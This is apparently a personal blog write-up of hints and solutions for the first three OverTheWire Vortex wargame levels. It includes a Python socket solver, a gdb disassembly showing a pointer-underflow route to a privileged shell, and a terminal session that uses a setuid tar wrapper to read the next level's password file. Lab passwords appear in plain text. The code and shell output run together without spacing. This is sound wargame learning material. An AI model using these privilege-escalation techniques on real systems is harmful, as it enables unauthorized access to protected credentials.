My Hints and Solutions to the First Three Levels of Over the Wire Vortex
|
By David Xia
I recently found more wargames at overthewire.org. Here are my hints and
solutions for the first three levels of Vortex. The levels are cumulative. We
have to beat the previous level in order to access the next.
Hint 1: how much data
Connect to the host and port and read all the bytes you can. How many bytes do you get?
Hint 2: endianess
“…read in 4 unsigned integers in host byte order” means the bytes are
already in host byte order or little-endian. If your system is also
little-endian, you don’t need to do anything special when interpreting the
bytes.
Hint 3: expected reply
How many bytes is each integer? What is the sum of all four?
#!/usr/bin/env python3# Example output# got bytes 53 ac 40 65 d4 36 07 63 5b 74 dd 4b 0f b6 cc 4d# sum of first four unsigned ints (16 bytes assuming each unsigned int is 4 bytes) is 5938220433# replying with bytes 91 0d f2 61 01 00 00 00# Username: vortex1 Password: Gq#qu3bF3importbinasciiimportstructimportsocketHOST='vortex.labs.overthewire.org'PORT=5842s=socket.socket()s.connect((HOST,PORT))r=s.recv(1024)print(f'got bytes {r.hex(" ")}')ba=bytearray(r)# Since the machine is a 32-bit system, each integer will be four bytes.# So we interpret each integer four bytes at a time.int_a=struct.unpack('I',ba[:4])[0]int_b=struct.unpack('I',ba[4:8])[0]int_c=struct.unpack('I',ba[8:12])[0]int_d=struct.unpack('I',ba[12:16])[0]# Sum all the integers._sum=int_a+int_b+int_c+int_dprint(f'sum of first four unsigned ints (16 bytes assuming each unsigned int is 4 bytes) is {_sum}')# Packing like this seems to take care of endianess by defaultreply_bytes=struct.pack('Q',_sum)print(f'replying with bytes {reply_bytes.hex(" ")}')s.sendall(reply_bytes)r=s.recv(1024)print(r.decode('ascii'))s.close()
Hint 1: password location for next level
The instructions don’t tell you this, but the password for the next level is
located in the directory /etc/vortex_pass.
Hint 2: required permissions
What are the permissions of the password file for the next level? How can you
read this file?
Hint 3: program source code
What does the program do? Can you see the code path you need to execute to
elevate your privileges?
Hint 4: how to change ptr
How can you change the value of ptr to the right value? You shouldn’t need
to send more than ~300 bytes to the program to do so.
My solution
Let’s disassemble the executable to gain some insight into the stack layout.
vortex1@vortex:~$gdb/vortex/vortex1GNUgdb(Ubuntu7.7.1-0ubuntu5~14.04.3)7.7.1Copyright(C)2014FreeSoftwareFoundation,Inc.LicenseGPLv3+:GNUGPLversion3orlater<http://gnu.org/licenses/gpl.html>Thisisfreesoftware:youarefreetochangeandredistributeit.ThereisNOWARRANTY,totheextentpermittedbylaw.Type"show copying"and"show warranty"fordetails.ThisGDBwasconfiguredas"x86_64-linux-gnu".Type"show configuration"forconfigurationdetails.Forbugreportinginstructions,pleasesee:<http://www.gnu.org/software/gdb/bugs/>.FindtheGDBmanualandotherdocumentationresourcesonlineat:<http://www.gnu.org/software/gdb/documentation/>.Forhelp,type"help".Type"apropos word"tosearchforcommandsrelatedto"word"...Readingsymbolsfrom/vortex/vortex1...(nodebuggingsymbolsfound)...done.(gdb)setdisassembly-flavorintel(gdb)setpaginationoff(gdb)disassemblemainDumpofassemblercodeforfunctionmain:0x080485c0<+0>:pushebp0x080485c1<+1>:movebp,esp0x080485c3<+3>:pushesi0x080485c4<+4>:pushebx0x080485c5<+5>:andesp,0xfffffff00x080485c8<+8>:subesp,0x220# Set stack pointer0x080485ce<+14>:moveax,gs:0x140x080485d4<+20>:movDWORDPTR[esp+0x21c],eax0x080485db<+27>:xoreax,eax0x080485dd<+29>:leaeax,[esp+0x1c]0x080485e1<+33>:addeax,0x100# + (sizeof(buf) / 2)0x080485e6<+38>:movDWORDPTR[esp+0x14],eax# ptr is located at $esp + 0x140x080485ea<+42>:jmp0x804868e<main+206>0x080485ef<+47>:moveax,DWORDPTR[esp+0x18]0x080485f3<+51>:cmpeax,0xa0x080485f6<+54>:je0x80485ff<main+63>0x080485f8<+56>:cmpeax,0x5c0x080485fb<+59>:je0x8048615<main+85>0x080485fd<+61>:jmp0x804861c<main+92>0x080485ff<+63>:movDWORDPTR[esp+0x4],0x2000x08048607<+71>:leaeax,[esp+0x1c]0x0804860b<+75>:movDWORDPTR[esp],eax0x0804860e<+78>:call0x804856d<print>0x08048613<+83>:jmp0x804868e<main+206>0x08048615<+85>:subDWORDPTR[esp+0x14],0x10x0804861a<+90>:jmp0x804868e<main+206>0x0804861c<+92>:moveax,DWORDPTR[esp+0x14]0x08048620<+96>:andeax,0xff0000000x08048625<+101>:cmpeax,0xca0000000x0804862a<+106>:jne0x804866b<main+171>0x0804862c<+108>:call0x8048430<geteuid@plt>0x08048631<+113>:movesi,eax0x08048633<+115>:call0x8048430<geteuid@plt>0x08048638<+120>:movebx,eax0x0804863a<+122>:call0x8048430<geteuid@plt>0x0804863f<+127>:movDWORDPTR[esp+0x8],esi0x08048643<+131>:movDWORDPTR[esp+0x4],ebx0x08048647<+135>:movDWORDPTR[esp],eax0x0804864a<+138>:call0x80483e0<setresuid@plt>0x0804864f<+143>:movDWORDPTR[esp+0x8],0x00x08048657<+151>:movDWORDPTR[esp+0x4],0x804876a0x0804865f<+159>:movDWORDPTR[esp],0x804876d0x08048666<+166>:call0x8048420<execlp@plt>0x0804866b<+171>:leaeax,[esp+0x1c]0x0804866f<+175>:addeax,0x2000x08048674<+180>:cmpDWORDPTR[esp+0x14],eax0x08048678<+184>:jbe0x804867c<main+188>0x0804867a<+186>:jmp0x804868d<main+205>0x0804867c<+188>:moveax,DWORDPTR[esp+0x14]0x08048680<+192>:leaedx,[eax+0x1]0x08048683<+195>:movDWORDPTR[esp+0x14],edx0x08048687<+199>:movedx,DWORDPTR[esp+0x18]0x0804868b<+203>:movBYTEPTR[eax],dl0x0804868d<+205>:nop0x0804868e<+206>:call0x8048400<getchar@plt>0x08048693<+211>:movDWORDPTR[esp+0x18],eax# x is located at $esp + 0x180x08048697<+215>:cmpDWORDPTR[esp+0x18],0xffffffff0x0804869c<+220>:jne0x80485ef<main+47>0x080486a2<+226>:movDWORDPTR[esp],0x80487750x080486a9<+233>:call0x8048440<puts@plt>0x080486ae<+238>:moveax,0x00x080486b3<+243>:movecx,DWORDPTR[esp+0x21c]0x080486ba<+250>:xorecx,DWORDPTRgs:0x140x080486c1<+257>:je0x80486c8<main+264>0x080486c3<+259>:call0x8048410<__stack_chk_fail@plt>0x080486c8<+264>:leaesp,[ebp-0x8]0x080486cb<+267>:popebx0x080486cc<+268>:popesi0x080486cd<+269>:popebp0x080486ce<+270>:retEndofassemblerdump.
At main+8, the stack pointer esp is decreased by 0x220 to make room for unsigned
char buf[512], unsigned char *ptr, and unsigned int x. If we look more closely at the assembly,
we can see ptr is located at esp + 0x14 because the instruction before that increases eax by
0x100 or (sizeof(buf) / 2) or 256. main+211 shows x is located right after ptr at esp +
0x18 since the instruction right before calls getchar(). This means buf[512] is after that and
takes up the majority of the stack. So the stack layout is ptr, x, then buf[512]. This makes
sense because the compiler on more modern systems will put buffers after other variables to protect
against buffer overflows.
Question: why is the size of ptr only 4 bytes? I thought on 64-bit systems pointer variables are 8
bytes not 4 since memory should be 64-bit- or 8-byte-addressable?
We set a breakpoint at the getchar() call and run the program. Examine the first 64 words of esp
in hexadecimal.
ptr is located at $esp + 0x14 = 0xffffd4d4 which is initialized with a value of 0xffffd5dc.
Since ASLR is disabled, this location is fixed.
I first thought of a brute-force strategy of decrementing ptr’s value with \ until its highest
byte was 0xca. That way, when it’s bit-wise ANDed with 0xff000000, the result would be
0xca000000. The exploit would be the following.
Aside: the Python command is run in a subshell with an extra cat to keep the /bin/sh listening
to more input from the stdout of that subshell. That way we can add more commands from the
terminal. The Python command triggers the /bin/sh. The cat with no args just reads from the
current stdin and feeds data to /bin/sh. See this Stack Exchange answer.
This is definitely not the best solution because 0xffffd5dc - 0xcaffffff = 0x34ffd5dd =
889,181,661. If written to disk, this file would be almost a gigabyte.
Let’s think of a better solution. There’s no lower bound checking on ptr’s value. So we can
decrement the value of ptr until it references its own memory address which starts at 0xffffd4d4.
Then we write 0xca into the highest byte at 0xffffd4d7. ptr’s value is initialized to
0xffffd5dc. So we write this many \: 0xffffd5dc - 0xffffd4d7 = 0x105 = 261. Instead of the
seemingly arbitrary 261, we’ll use 512/2 + 5. This is more descriptive because it shows we’re moving
the ptr reference from where it starts in the middle of buf[512] back to the beginning and then
past the x and one byte into itself.
Hint 1: number of args
You don’t need to use all the available argv slots used in the executable.
Hint 2: $$
What is $$? What is its value in the context of the executable?
Hint 3: file to tar
What file do you need to read? How can you use the program to read it?
My solution
1234567891011121314151617181920
vortex2@vortex:~$/vortex/vortex2/etc/vortex_pass/vortex3/bin/tar:Removingleading`/' from member namesvortex2@vortex:/etc/vortex_pass$ls-ail/tmp/ownership.$$.tarls:cannotaccess/tmp/ownership.1657.tar:Nosuchfileordirectoryvortex2@vortex:~$ls-ail/tmp/ownership.\$$.tar2670-rw-rw-r--1vortex3vortex210240Dec2621:15/tmp/ownership.$$.tarvortex2@vortex:~$tar-xvf/tmp/ownership.\$$.taretc/vortex_pass/vortex3vortex2@vortex:~$ls-ailetc/vortex_pass/total122808drwxrwxr-x2vortex2vortex24096Dec2621:16.2689drwxrwxr-x3vortex2vortex24096Dec2621:16..2809-r--------1vortex2vortex210Nov42019vortex3vortex2@vortex:~$catetc/vortex_pass/vortex364ncXTvx#